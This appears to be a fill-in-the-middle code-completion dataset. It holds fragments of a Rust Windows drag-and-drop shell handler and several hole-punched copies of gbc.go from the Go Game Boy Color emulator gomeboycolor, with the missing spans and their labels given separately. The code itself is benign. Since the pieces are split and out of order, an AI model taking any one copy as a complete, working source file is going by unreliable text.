winerror::E_FAIL
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersist
impl IPersist for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersist-getclassid
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT {
log::debug!("IPersist::GetClassID");
let guid = wslscript_common::DROP_HANDLER_CLSID.0;
unsafe { *pClassID = guid }
winerror::S_OK
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nn-oleidl-idroptarget
impl IDropTarget for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragenter
fn DragEnter(
&self,
_pDataObj: *const objidl::IDataObject,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragEnter");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragover
fn DragOver(
&self,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragOver");
log::debug!("Keys {:?}", KeyState::from_bits_truncate(_grfKeyState));
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragleave
fn DragLeave(&self) -> HRESULT {
log::debug!("IDropTarget::DragLeave");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-drop
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::Drop");
let target = if let Ok(target) = self.target.try_borrow() {
target.clone()
} else {
return winerror::E_UNEXPECTED;
};
let obj = unsafe { &*pDataObj };
let keys = KeyState::from_bits_truncate(grfKeyState);
super::handle_dropped_files(&target, obj, keys).and_then(|_| {
unsafe { *pdwEffect = oleidl::DROPEFFECT_COPY; }
Ok(winerror::S_OK)
}).unwrap_or_else(|e| {
log::debug!("Drop failed: {}", e);
winerror::E_UNEXPECTED
})
}
}
}
| DllRegisterServer | identifier_name |
gbc.go | package gbc
import (
"bufio"
"fmt"
"log"
"os"
"strings"
"github.com/djhworld/gomeboycolor/apu"
"github.com/djhworld/gomeboycolor/cartridge"
"github.com/djhworld/gomeboycolor/config"
"github.com/djhworld/gomeboycolor/cpu"
"github.com/djhworld/gomeboycolor/dma"
"github.com/djhworld/gomeboycolor/gpu"
"github.com/djhworld/gomeboycolor/inputoutput"
"github.com/djhworld/gomeboycolor/mmu"
"github.com/djhworld/gomeboycolor/saves"
"github.com/djhworld/gomeboycolor/timer"
"github.com/djhworld/gomeboycolor/types"
"github.com/djhworld/gomeboycolor/utils"
)
const FRAME_CYCLES = 70224
const TITLE string = "gomeboycolor"
var VERSION string
type GomeboyColor struct {
gpu *gpu.GPU
cpu *cpu.GbcCPU
mmu *mmu.GbcMMU
hDMA *dma.HDMA
oamDMA *dma.OAMDMA
io inputoutput.IOHandler
apu *apu.APU
timer *timer.Timer
debugOptions *DebugOptions
config *config.Config
cart *cartridge.Cartridge
saveStore saves.Store
cpuClockAcc int
stepCount int
inBootMode bool
stopped bool
}
func Init(cart *cartridge.Cartridge, saveStore saves.Store, conf *config.Config, ioHandler inputoutput.IOHandler) (*GomeboyColor, error) {
var gbc *GomeboyColor = newGomeboyColor(cart, conf, saveStore, ioHandler)
b, er := gbc.mmu.LoadBIOS(BOOTROM)
if !b {
log.Println("Error loading bootrom:", er)
return nil, er
}
//append cartridge name and filename to title
gbc.config.Title += fmt.Sprintf(" - %s - %s", cart.Name, cart.Title)
gbc.mmu.LoadCartridge(gbc.cart)
gbc.debugOptions.Init(gbc.config.DumpState)
if gbc.config.Debug {
log.Println("Emulator will start in debug mode")
gbc.debugOptions.debuggerOn = true
//set breakpoint if defined
if b, err := utils.StringToWord(gbc.config.BreakOn); err != nil {
log.Fatalln("Cannot parse breakpoint:", gbc.config.BreakOn, "\n\t", err)
} else {
gbc.debugOptions.breakWhen = types.Word(b)
log.Println("Emulator will break into debugger when PC = ", gbc.debugOptions.breakWhen)
}
}
//load RAM into MBC (if supported)
r, err := gbc.saveStore.Open(cart.ID)
if err == nil {
gbc.mmu.LoadCartridgeRam(r)
} else {
log.Printf("Could not load a save state for: %s (%v)", cart.ID, err)
}
defer r.Close()
gbc.gpu.LinkScreen(gbc.io.GetScreenOutputChannel())
gbc.setupBoot()
err = gbc.io.Init(gbc.config.Title, gbc.config.ScreenSize, gbc.onClose)
if err != nil {
log.Fatalln("io init failure\n\t", err)
}
log.Println("Completed setup")
log.Println(strings.Repeat("*", 120))
return gbc, nil
}
func (gbc *GomeboyColor) Run(frameRunnerWrapper func(func())) {
for !gbc.stopped {
if !gbc.debugOptions.debuggerOn {
frameRunnerWrapper(gbc.doFrame)
} else {
frameRunnerWrapper(gbc.doFrameWithDebug)
}
gbc.cpuClockAcc = 0
}
}
func (gbc *GomeboyColor) RunIO() {
gbc.io.Run()
}
func (gbc *GomeboyColor) Step() {
cycles := 0x00
if gbc.hDMA.IsRunning() {
gbc.hDMA.Step()
} else {
cycles = gbc.cpu.Step()
}
//GPU is unaffected by CPU speed changes
gbc.gpu.Step(cycles)
gbc.cpuClockAcc += cycles
//these are affected by CPU speed changes
gbc.oamDMA.Step(cycles / gbc.cpu.Speed)
gbc.stepCount++
gbc.checkBootModeStatus()
}
func (gbc *GomeboyColor) Reset() {
log.Println("Resetting system")
gbc.cpu.Reset()
gbc.gpu.Reset()
gbc.mmu.Reset()
gbc.apu.Reset()
gbc.io.GetKeyHandler().Reset()
gbc.setupBoot()
}
func newGomeboyColor(cart *cartridge.Cartridge, conf *config.Config, saveStore saves.Store, ioHandler inputoutput.IOHandler) *GomeboyColor {
gbc := new(GomeboyColor)
gbc.cart = cart
gbc.config = conf
gbc.saveStore = saveStore
gbc.io = ioHandler
gbc.debugOptions = new(DebugOptions)
gbc.timer = timer.NewTimer()
gbc.mmu = mmu.NewGbcMMU()
gbc.cpu = cpu.NewCPU(gbc.mmu, gbc.timer)
gbc.hDMA = dma.NewHDMA(gbc.mmu)
gbc.oamDMA = dma.NewOAMDMA(gbc.mmu)
gbc.stopped = false
gbc.gpu = gpu.NewGPU()
gbc.apu = apu.NewAPU()
gbc.gpu.RegisterObserver(gbc.hDMA)
//mmu will process interrupt requests from GPU (i.e. it will set appropriate flags)
gbc.gpu.LinkIRQHandler(gbc.mmu)
gbc.timer.LinkIRQHandler(gbc.mmu)
gbc.io.GetKeyHandler().LinkIRQHandler(gbc.mmu)
gbc.mmu.ConnectPeripheral(gbc.apu, 0xFF10, 0xFF3F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0x8000, 0x9FFF)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFE00, 0xFE9F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFF57, 0xFF6F)
gbc.mmu.ConnectPeripheralOn(gbc.hDMA, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55)
gbc.mmu.ConnectPeripheralOn(gbc.oamDMA, 0xFF46)
gbc.mmu.ConnectPeripheralOn(gbc.gpu, 0xFF40, 0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF47, 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4F)
gbc.mmu.ConnectPeripheralOn(gbc.io.GetKeyHandler(), 0xFF00)
gbc.mmu.ConnectPeripheralOn(gbc.timer, 0xFF04, 0xFF05, 0xFF06, 0xFF07)
return gbc
}
func (gbc *GomeboyColor) doFrame() |
func (gbc *GomeboyColor) doFrameWithDebug() {
for gbc.cpuClockAcc < FRAME_CYCLES {
if gbc.cpu.PC == gbc.debugOptions.breakWhen {
gbc.pause()
}
if gbc.config.DumpState && !gbc.cpu.Halted {
fmt.Println("\t ", gbc.cpu)
}
gbc.Step()
}
}
func (gbc *GomeboyColor) setupBoot() {
if gbc.config.SkipBoot {
log.Println("Boot sequence disabled")
gbc.setupWithoutBoot()
} else {
log.Println("Boot sequence enabled")
gbc.setupWithBoot()
}
}
func (gbc *GomeboyColor) setupWithBoot() {
gbc.inBootMode = true
gbc.mmu.WriteByte(0xFF50, 0x00)
}
func (gbc *GomeboyColor) checkBootModeStatus() {
//value in FF50 means gameboy has finished booting
if gbc.inBootMode {
if gbc.mmu.ReadByte(0xFF50) != 0x00 {
gbc.cpu.PC = 0x0100
gbc.mmu.SetInBootMode(false)
gbc.inBootMode = false
//put the GPU in color mode if cartridge is ColorGB and user has specified color GB mode
gbc.setHardwareMode(gbc.config.ColorMode)
log.Println("Finished GB boot program, launching game...")
}
}
}
//Determine if ColorGB hardware should be enabled
func (gbc *GomeboyColor) setHardwareMode(isColor bool) {
if isColor {
gbc.cpu.R.A = 0x11
gbc.gpu.RunningColorGBHardware = gbc.mmu.IsCartridgeColor()
gbc.mmu.RunningColorGBHardware = true
} else {
gbc.cpu.R.A = 0x01
gbc.gpu.RunningColorGBHardware = false
gbc.mmu.RunningColorGBHardware = false
}
}
func (gbc *GomeboyColor) setupWithoutBoot() {
gbc.inBootMode = false
gbc.mmu.SetInBootMode(false)
gbc.cpu.PC = 0x100
gbc.setHardwareMode(gbc.config.ColorMode)
gbc.cpu.R.F = 0xB0
gbc.cpu.R.B = 0x00
gbc.cpu.R.C = 0x13
gbc.cpu.R.D = 0x00
gbc.cpu.R.E = 0xD8
gbc.cpu.R.H = 0x01
gbc.cpu.R.L = 0x4D
gbc.cpu.SP = 0xFFFE
gbc.mmu.WriteByte(0xFF05, 0x00)
gbc.mmu.WriteByte(0xFF06, 0x00)
gbc.mmu.WriteByte(0xFF07, 0x00)
gbc.mmu.WriteByte(0xFF10, 0x80)
gbc.mmu.WriteByte(0xFF11, 0xBF)
gbc.mmu.WriteByte(0xFF12, 0xF3)
gbc.mmu.WriteByte(0xFF14, 0xBF)
gbc.mmu.WriteByte(0xFF16, 0x3F)
gbc.mmu.WriteByte(0xFF17, 0x00)
gbc.mmu.WriteByte(0xFF19, 0xBF)
gbc.mmu.WriteByte(0xFF1A, 0x7F)
gbc.mmu.WriteByte(0xFF1B, 0xFF)
gbc.mmu.WriteByte(0xFF1C, 0x9F)
gbc.mmu.WriteByte(0xFF1E, 0xBF)
gbc.mmu.WriteByte(0xFF20, 0xFF)
gbc.mmu.WriteByte(0xFF21, 0x00)
gbc.mmu.WriteByte(0xFF22, 0x00)
gbc.mmu.WriteByte(0xFF23, 0xBF)
gbc.mmu.WriteByte(0xFF24, 0x77)
gbc.mmu.WriteByte(0xFF25, 0xF3)
gbc.mmu.WriteByte(0xFF26, 0xF1)
gbc.mmu.WriteByte(0xFF40, 0x91)
gbc.mmu.WriteByte(0xFF42, 0x00)
gbc.mmu.WriteByte(0xFF43, 0x00)
gbc.mmu.WriteByte(0xFF45, 0x00)
gbc.mmu.WriteByte(0xFF47, 0xFC)
gbc.mmu.WriteByte(0xFF48, 0xFF)
gbc.mmu.WriteByte(0xFF49, 0xFF)
gbc.mmu.WriteByte(0xFF4A, 0x00)
gbc.mmu.WriteByte(0xFF4B, 0x00)
gbc.mmu.WriteByte(0xFF50, 0x00)
gbc.mmu.WriteByte(0xFFFF, 0x00)
}
func (gbc *GomeboyColor) onClose() {
//TODO need to figure this bit out (handle errors?)
w, _ := gbc.saveStore.Create(gbc.cart.ID)
defer w.Close()
gbc.mmu.SaveCartridgeRam(w)
gbc.stopped = true
}
func (gbc *GomeboyColor) pause() {
log.Println("DEBUGGER: Breaking because PC ==", gbc.debugOptions.breakWhen)
b := bufio.NewWriter(os.Stdout)
r := bufio.NewReader(os.Stdin)
fmt.Fprintln(b, "Debug mode, type ? for help")
for gbc.debugOptions.debuggerOn {
var instruction string
b.Flush()
fmt.Fprint(b, "> ")
b.Flush()
instruction, _ = r.ReadString('\n')
b.Flush()
var instructions []string = strings.Split(strings.Replace(instruction, "\n", "", -1), " ")
b.Flush()
command := instructions[0]
if command == "c" {
break
}
//dispatch
if v, ok := gbc.debugOptions.debugFuncMap[command]; ok {
v(gbc, instructions[1:]...)
} else {
fmt.Fprintln(b, "Unknown command:", command)
fmt.Fprintln(b, "Debug mode, type ? for help")
}
}
}
var BOOTROM []byte = []byte{
0x31, 0xFE, 0xFF, 0xAF, 0x21, 0xFF, 0x9F, 0x32, 0xCB, 0x7C, 0x20, 0xFB, 0x21, 0x26, 0xFF, 0x0E,
0x11, 0x3E, 0x80, 0x32, 0xE2, 0x0C, 0x3E, 0xF3, 0xE2, 0x32, 0x3E, 0x77, 0x77, 0x3E, 0xFC, 0xE0,
0x47, 0x11, 0x04, 0x01, 0x21, 0x10, 0x80, 0x1A, 0xCD, 0x95, 0x00, 0xCD, 0x96, 0x00, 0x13, 0x7B,
0xFE, 0x34, 0x20, 0xF3, 0x11, 0xD8, 0x00, 0x06, 0x08, 0x1A, 0x13, 0x22, 0x23, 0x05, 0x20, 0xF9,
0x3E, 0x19, 0xEA, 0x10, 0x99, 0x21, 0x2F, 0x99, 0x0E, 0x0C, 0x3D, 0x28, 0x08, 0x32, 0x0D, 0x20,
0xF9, 0x2E, 0x0F, 0x18, 0xF3, 0x67, 0x3E, 0x64, 0x57, 0xE0, 0x42, 0x3E, 0x91, 0xE0, 0x40, 0x04,
0x1E, 0x02, 0x0E, 0x0C, 0xF0, 0x44, 0xFE, 0x90, 0x20, 0xFA, 0x0D, 0x20, 0xF7, 0x1D, 0x20, 0xF2,
0x0E, 0x13, 0x24, 0x7C, 0x1E, 0x83, 0xFE, 0x62, 0x28, 0x06, 0x1E, 0xC1, 0xFE, 0x64, 0x20, 0x06,
0x7B, 0xE2, 0x0C, 0x3E, 0x87, 0xF2, 0xF0, 0x42, 0x90, 0xE0, 0x42, 0x15, 0x20, 0xD2, 0x05, 0x20,
0x4F, 0x16, 0x20, 0x18, 0xCB, 0x4F, 0x06, 0x04, 0xC5, 0xCB, 0x11, 0x17, 0xC1, 0xCB, 0x11, 0x17,
0x05, 0x20, 0xF5, 0x22, 0x23, 0x22, 0x23, 0xC9, 0xCE, 0xED, 0x66, 0x66, 0xCC, 0x0D, 0x00, 0x0B,
0x03, 0x73, 0x00, 0x83, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x08, 0x11, 0x1F, 0x88, 0x89, 0x00, 0x0E,
0xDC, 0xCC, 0x6E, 0xE6, 0xDD, 0xDD, 0xD9, 0x99, 0xBB, 0xBB, 0x67, 0x63, 0x6E, 0x0E, 0xEC, 0xCC,
0xDD, 0xDC, 0x99, 0x9F, 0xBB, 0xB9, 0x33, 0x3E, 0x3c, 0x42, 0xB9, 0xA5, 0xB9, 0xA5, 0x42, 0x4C,
0x21, 0x04, 0x01, 0x11, 0xA8, 0x00, 0x1A, 0x13, 0xBE, 0x20, 0xFE, 0x23, 0x7D, 0xFE, 0x34, 0x20,
0xF5, 0x06, 0x19, 0x78, 0x86, 0x23, 0x05, 0x20, 0xFB, 0x86, 0x20, 0xFE, 0x3E, 0x11, 0xE0, 0x50}
| {
for gbc.cpuClockAcc < FRAME_CYCLES {
gbc.Step()
}
} | identifier_body |
gbc.go | package gbc
import (
"bufio"
"fmt"
"log"
"os"
"strings"
"github.com/djhworld/gomeboycolor/apu"
"github.com/djhworld/gomeboycolor/cartridge"
"github.com/djhworld/gomeboycolor/config"
"github.com/djhworld/gomeboycolor/cpu"
"github.com/djhworld/gomeboycolor/dma"
"github.com/djhworld/gomeboycolor/gpu"
"github.com/djhworld/gomeboycolor/inputoutput"
"github.com/djhworld/gomeboycolor/mmu"
"github.com/djhworld/gomeboycolor/saves"
"github.com/djhworld/gomeboycolor/timer"
"github.com/djhworld/gomeboycolor/types"
"github.com/djhworld/gomeboycolor/utils"
)
const FRAME_CYCLES = 70224
const TITLE string = "gomeboycolor"
var VERSION string
type GomeboyColor struct {
gpu *gpu.GPU
cpu *cpu.GbcCPU
mmu *mmu.GbcMMU
hDMA *dma.HDMA
oamDMA *dma.OAMDMA
io inputoutput.IOHandler
apu *apu.APU
timer *timer.Timer
debugOptions *DebugOptions
config *config.Config
cart *cartridge.Cartridge
saveStore saves.Store
cpuClockAcc int
stepCount int
inBootMode bool
stopped bool
}
func Init(cart *cartridge.Cartridge, saveStore saves.Store, conf *config.Config, ioHandler inputoutput.IOHandler) (*GomeboyColor, error) {
var gbc *GomeboyColor = newGomeboyColor(cart, conf, saveStore, ioHandler)
b, er := gbc.mmu.LoadBIOS(BOOTROM)
if !b {
log.Println("Error loading bootrom:", er)
return nil, er
}
//append cartridge name and filename to title
gbc.config.Title += fmt.Sprintf(" - %s - %s", cart.Name, cart.Title)
gbc.mmu.LoadCartridge(gbc.cart)
gbc.debugOptions.Init(gbc.config.DumpState)
if gbc.config.Debug {
log.Println("Emulator will start in debug mode")
gbc.debugOptions.debuggerOn = true
//set breakpoint if defined
if b, err := utils.StringToWord(gbc.config.BreakOn); err != nil {
log.Fatalln("Cannot parse breakpoint:", gbc.config.BreakOn, "\n\t", err)
} else {
gbc.debugOptions.breakWhen = types.Word(b)
log.Println("Emulator will break into debugger when PC = ", gbc.debugOptions.breakWhen)
}
}
//load RAM into MBC (if supported)
r, err := gbc.saveStore.Open(cart.ID)
if err == nil {
gbc.mmu.LoadCartridgeRam(r)
} else {
log.Printf("Could not load a save state for: %s (%v)", cart.ID, err)
}
defer r.Close()
gbc.gpu.LinkScreen(gbc.io.GetScreenOutputChannel())
gbc.setupBoot()
err = gbc.io.Init(gbc.config.Title, gbc.config.ScreenSize, gbc.onClose)
if err != nil {
log.Fatalln("io init failure\n\t", err)
}
log.Println("Completed setup")
log.Println(strings.Repeat("*", 120))
return gbc, nil
}
func (gbc *GomeboyColor) Run(frameRunnerWrapper func(func())) {
for !gbc.stopped {
if !gbc.debugOptions.debuggerOn | else {
frameRunnerWrapper(gbc.doFrameWithDebug)
}
gbc.cpuClockAcc = 0
}
}
func (gbc *GomeboyColor) RunIO() {
gbc.io.Run()
}
func (gbc *GomeboyColor) Step() {
cycles := 0x00
if gbc.hDMA.IsRunning() {
gbc.hDMA.Step()
} else {
cycles = gbc.cpu.Step()
}
//GPU is unaffected by CPU speed changes
gbc.gpu.Step(cycles)
gbc.cpuClockAcc += cycles
//these are affected by CPU speed changes
gbc.oamDMA.Step(cycles / gbc.cpu.Speed)
gbc.stepCount++
gbc.checkBootModeStatus()
}
func (gbc *GomeboyColor) Reset() {
log.Println("Resetting system")
gbc.cpu.Reset()
gbc.gpu.Reset()
gbc.mmu.Reset()
gbc.apu.Reset()
gbc.io.GetKeyHandler().Reset()
gbc.setupBoot()
}
func newGomeboyColor(cart *cartridge.Cartridge, conf *config.Config, saveStore saves.Store, ioHandler inputoutput.IOHandler) *GomeboyColor {
gbc := new(GomeboyColor)
gbc.cart = cart
gbc.config = conf
gbc.saveStore = saveStore
gbc.io = ioHandler
gbc.debugOptions = new(DebugOptions)
gbc.timer = timer.NewTimer()
gbc.mmu = mmu.NewGbcMMU()
gbc.cpu = cpu.NewCPU(gbc.mmu, gbc.timer)
gbc.hDMA = dma.NewHDMA(gbc.mmu)
gbc.oamDMA = dma.NewOAMDMA(gbc.mmu)
gbc.stopped = false
gbc.gpu = gpu.NewGPU()
gbc.apu = apu.NewAPU()
gbc.gpu.RegisterObserver(gbc.hDMA)
//mmu will process interrupt requests from GPU (i.e. it will set appropriate flags)
gbc.gpu.LinkIRQHandler(gbc.mmu)
gbc.timer.LinkIRQHandler(gbc.mmu)
gbc.io.GetKeyHandler().LinkIRQHandler(gbc.mmu)
gbc.mmu.ConnectPeripheral(gbc.apu, 0xFF10, 0xFF3F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0x8000, 0x9FFF)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFE00, 0xFE9F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFF57, 0xFF6F)
gbc.mmu.ConnectPeripheralOn(gbc.hDMA, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55)
gbc.mmu.ConnectPeripheralOn(gbc.oamDMA, 0xFF46)
gbc.mmu.ConnectPeripheralOn(gbc.gpu, 0xFF40, 0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF47, 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4F)
gbc.mmu.ConnectPeripheralOn(gbc.io.GetKeyHandler(), 0xFF00)
gbc.mmu.ConnectPeripheralOn(gbc.timer, 0xFF04, 0xFF05, 0xFF06, 0xFF07)
return gbc
}
func (gbc *GomeboyColor) doFrame() {
for gbc.cpuClockAcc < FRAME_CYCLES {
gbc.Step()
}
}
func (gbc *GomeboyColor) doFrameWithDebug() {
for gbc.cpuClockAcc < FRAME_CYCLES {
if gbc.cpu.PC == gbc.debugOptions.breakWhen {
gbc.pause()
}
if gbc.config.DumpState && !gbc.cpu.Halted {
fmt.Println("\t ", gbc.cpu)
}
gbc.Step()
}
}
func (gbc *GomeboyColor) setupBoot() {
if gbc.config.SkipBoot {
log.Println("Boot sequence disabled")
gbc.setupWithoutBoot()
} else {
log.Println("Boot sequence enabled")
gbc.setupWithBoot()
}
}
func (gbc *GomeboyColor) setupWithBoot() {
gbc.inBootMode = true
gbc.mmu.WriteByte(0xFF50, 0x00)
}
func (gbc *GomeboyColor) checkBootModeStatus() {
//value in FF50 means gameboy has finished booting
if gbc.inBootMode {
if gbc.mmu.ReadByte(0xFF50) != 0x00 {
gbc.cpu.PC = 0x0100
gbc.mmu.SetInBootMode(false)
gbc.inBootMode = false
//put the GPU in color mode if cartridge is ColorGB and user has specified color GB mode
gbc.setHardwareMode(gbc.config.ColorMode)
log.Println("Finished GB boot program, launching game...")
}
}
}
//Determine if ColorGB hardware should be enabled
func (gbc *GomeboyColor) setHardwareMode(isColor bool) {
if isColor {
gbc.cpu.R.A = 0x11
gbc.gpu.RunningColorGBHardware = gbc.mmu.IsCartridgeColor()
gbc.mmu.RunningColorGBHardware = true
} else {
gbc.cpu.R.A = 0x01
gbc.gpu.RunningColorGBHardware = false
gbc.mmu.RunningColorGBHardware = false
}
}
func (gbc *GomeboyColor) setupWithoutBoot() {
gbc.inBootMode = false
gbc.mmu.SetInBootMode(false)
gbc.cpu.PC = 0x100
gbc.setHardwareMode(gbc.config.ColorMode)
gbc.cpu.R.F = 0xB0
gbc.cpu.R.B = 0x00
gbc.cpu.R.C = 0x13
gbc.cpu.R.D = 0x00
gbc.cpu.R.E = 0xD8
gbc.cpu.R.H = 0x01
gbc.cpu.R.L = 0x4D
gbc.cpu.SP = 0xFFFE
gbc.mmu.WriteByte(0xFF05, 0x00)
gbc.mmu.WriteByte(0xFF06, 0x00)
gbc.mmu.WriteByte(0xFF07, 0x00)
gbc.mmu.WriteByte(0xFF10, 0x80)
gbc.mmu.WriteByte(0xFF11, 0xBF)
gbc.mmu.WriteByte(0xFF12, 0xF3)
gbc.mmu.WriteByte(0xFF14, 0xBF)
gbc.mmu.WriteByte(0xFF16, 0x3F)
gbc.mmu.WriteByte(0xFF17, 0x00)
gbc.mmu.WriteByte(0xFF19, 0xBF)
gbc.mmu.WriteByte(0xFF1A, 0x7F)
gbc.mmu.WriteByte(0xFF1B, 0xFF)
gbc.mmu.WriteByte(0xFF1C, 0x9F)
gbc.mmu.WriteByte(0xFF1E, 0xBF)
gbc.mmu.WriteByte(0xFF20, 0xFF)
gbc.mmu.WriteByte(0xFF21, 0x00)
gbc.mmu.WriteByte(0xFF22, 0x00)
gbc.mmu.WriteByte(0xFF23, 0xBF)
gbc.mmu.WriteByte(0xFF24, 0x77)
gbc.mmu.WriteByte(0xFF25, 0xF3)
gbc.mmu.WriteByte(0xFF26, 0xF1)
gbc.mmu.WriteByte(0xFF40, 0x91)
gbc.mmu.WriteByte(0xFF42, 0x00)
gbc.mmu.WriteByte(0xFF43, 0x00)
gbc.mmu.WriteByte(0xFF45, 0x00)
gbc.mmu.WriteByte(0xFF47, 0xFC)
gbc.mmu.WriteByte(0xFF48, 0xFF)
gbc.mmu.WriteByte(0xFF49, 0xFF)
gbc.mmu.WriteByte(0xFF4A, 0x00)
gbc.mmu.WriteByte(0xFF4B, 0x00)
gbc.mmu.WriteByte(0xFF50, 0x00)
gbc.mmu.WriteByte(0xFFFF, 0x00)
}
func (gbc *GomeboyColor) onClose() {
//TODO need to figure this bit out (handle errors?)
w, _ := gbc.saveStore.Create(gbc.cart.ID)
defer w.Close()
gbc.mmu.SaveCartridgeRam(w)
gbc.stopped = true
}
func (gbc *GomeboyColor) pause() {
log.Println("DEBUGGER: Breaking because PC ==", gbc.debugOptions.breakWhen)
b := bufio.NewWriter(os.Stdout)
r := bufio.NewReader(os.Stdin)
fmt.Fprintln(b, "Debug mode, type ? for help")
for gbc.debugOptions.debuggerOn {
var instruction string
b.Flush()
fmt.Fprint(b, "> ")
b.Flush()
instruction, _ = r.ReadString('\n')
b.Flush()
var instructions []string = strings.Split(strings.Replace(instruction, "\n", "", -1), " ")
b.Flush()
command := instructions[0]
if command == "c" {
break
}
//dispatch
if v, ok := gbc.debugOptions.debugFuncMap[command]; ok {
v(gbc, instructions[1:]...)
} else {
fmt.Fprintln(b, "Unknown command:", command)
fmt.Fprintln(b, "Debug mode, type ? for help")
}
}
}
var BOOTROM []byte = []byte{
0x31, 0xFE, 0xFF, 0xAF, 0x21, 0xFF, 0x9F, 0x32, 0xCB, 0x7C, 0x20, 0xFB, 0x21, 0x26, 0xFF, 0x0E,
0x11, 0x3E, 0x80, 0x32, 0xE2, 0x0C, 0x3E, 0xF3, 0xE2, 0x32, 0x3E, 0x77, 0x77, 0x3E, 0xFC, 0xE0,
0x47, 0x11, 0x04, 0x01, 0x21, 0x10, 0x80, 0x1A, 0xCD, 0x95, 0x00, 0xCD, 0x96, 0x00, 0x13, 0x7B,
0xFE, 0x34, 0x20, 0xF3, 0x11, 0xD8, 0x00, 0x06, 0x08, 0x1A, 0x13, 0x22, 0x23, 0x05, 0x20, 0xF9,
0x3E, 0x19, 0xEA, 0x10, 0x99, 0x21, 0x2F, 0x99, 0x0E, 0x0C, 0x3D, 0x28, 0x08, 0x32, 0x0D, 0x20,
0xF9, 0x2E, 0x0F, 0x18, 0xF3, 0x67, 0x3E, 0x64, 0x57, 0xE0, 0x42, 0x3E, 0x91, 0xE0, 0x40, 0x04,
0x1E, 0x02, 0x0E, 0x0C, 0xF0, 0x44, 0xFE, 0x90, 0x20, 0xFA, 0x0D, 0x20, 0xF7, 0x1D, 0x20, 0xF2,
0x0E, 0x13, 0x24, 0x7C, 0x1E, 0x83, 0xFE, 0x62, 0x28, 0x06, 0x1E, 0xC1, 0xFE, 0x64, 0x20, 0x06,
0x7B, 0xE2, 0x0C, 0x3E, 0x87, 0xF2, 0xF0, 0x42, 0x90, 0xE0, 0x42, 0x15, 0x20, 0xD2, 0x05, 0x20,
0x4F, 0x16, 0x20, 0x18, 0xCB, 0x4F, 0x06, 0x04, 0xC5, 0xCB, 0x11, 0x17, 0xC1, 0xCB, 0x11, 0x17,
0x05, 0x20, 0xF5, 0x22, 0x23, 0x22, 0x23, 0xC9, 0xCE, 0xED, 0x66, 0x66, 0xCC, 0x0D, 0x00, 0x0B,
0x03, 0x73, 0x00, 0x83, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x08, 0x11, 0x1F, 0x88, 0x89, 0x00, 0x0E,
0xDC, 0xCC, 0x6E, 0xE6, 0xDD, 0xDD, 0xD9, 0x99, 0xBB, 0xBB, 0x67, 0x63, 0x6E, 0x0E, 0xEC, 0xCC,
0xDD, 0xDC, 0x99, 0x9F, 0xBB, 0xB9, 0x33, 0x3E, 0x3c, 0x42, 0xB9, 0xA5, 0xB9, 0xA5, 0x42, 0x4C,
0x21, 0x04, 0x01, 0x11, 0xA8, 0x00, 0x1A, 0x13, 0xBE, 0x20, 0xFE, 0x23, 0x7D, 0xFE, 0x34, 0x20,
0xF5, 0x06, 0x19, 0x78, 0x86, 0x23, 0x05, 0x20, 0xFB, 0x86, 0x20, 0xFE, 0x3E, 0x11, 0xE0, 0x50}
| {
frameRunnerWrapper(gbc.doFrame)
} | conditional_block |
gbc.go | package gbc
import (
"bufio"
"fmt"
"log"
"os"
"strings"
"github.com/djhworld/gomeboycolor/apu"
"github.com/djhworld/gomeboycolor/cartridge"
"github.com/djhworld/gomeboycolor/config"
"github.com/djhworld/gomeboycolor/cpu"
"github.com/djhworld/gomeboycolor/dma"
"github.com/djhworld/gomeboycolor/gpu"
"github.com/djhworld/gomeboycolor/inputoutput"
"github.com/djhworld/gomeboycolor/mmu"
"github.com/djhworld/gomeboycolor/saves"
"github.com/djhworld/gomeboycolor/timer"
"github.com/djhworld/gomeboycolor/types"
"github.com/djhworld/gomeboycolor/utils"
)
const FRAME_CYCLES = 70224
const TITLE string = "gomeboycolor"
var VERSION string
type GomeboyColor struct {
gpu *gpu.GPU
cpu *cpu.GbcCPU
mmu *mmu.GbcMMU
hDMA *dma.HDMA
oamDMA *dma.OAMDMA
io inputoutput.IOHandler
apu *apu.APU
timer *timer.Timer
debugOptions *DebugOptions
config *config.Config
cart *cartridge.Cartridge
saveStore saves.Store
cpuClockAcc int
stepCount int
inBootMode bool
stopped bool
}
func Init(cart *cartridge.Cartridge, saveStore saves.Store, conf *config.Config, ioHandler inputoutput.IOHandler) (*GomeboyColor, error) {
var gbc *GomeboyColor = newGomeboyColor(cart, conf, saveStore, ioHandler)
b, er := gbc.mmu.LoadBIOS(BOOTROM)
if !b {
log.Println("Error loading bootrom:", er)
return nil, er
}
//append cartridge name and filename to title
